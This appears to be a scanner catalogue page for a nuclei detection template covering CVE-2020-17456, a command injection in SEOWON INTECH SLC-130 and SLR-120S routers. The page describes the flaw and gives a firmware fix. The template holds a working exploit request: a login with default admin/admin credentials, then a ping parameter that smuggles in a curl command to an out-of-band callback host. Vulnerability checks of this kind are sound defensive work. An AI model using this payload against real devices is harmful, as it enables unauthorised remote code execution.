SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution

criticalseverity

9.8CVSS score

74.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /cgi-bin/login.cgi ; POST /cgi-bin/system_log.cgi
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-17456 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17456

info:
  name: SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution
  author: gy741,edoardottt
  severity: critical
  description: SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17456
    - http://packetstormsecurity.com/files/158933/Seowon-SlC-130-Router-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/166273/Seowon-SLR-120-Router-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/50821
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17456
    cwe-id: CWE-78
    epss-score: 0.74227
    epss-percentile: 0.99491
    cpe: cpe:2.3:h:seowonintech:slc-130:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: seowonintech
    product: slc-130
  tags: cve,cve2020,seowon,oast,packetstorm,rce,router,unauth,iot,seowonintech,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        browserTime=081119502020&currentTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin
      - |
        POST /cgi-bin/system_log.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from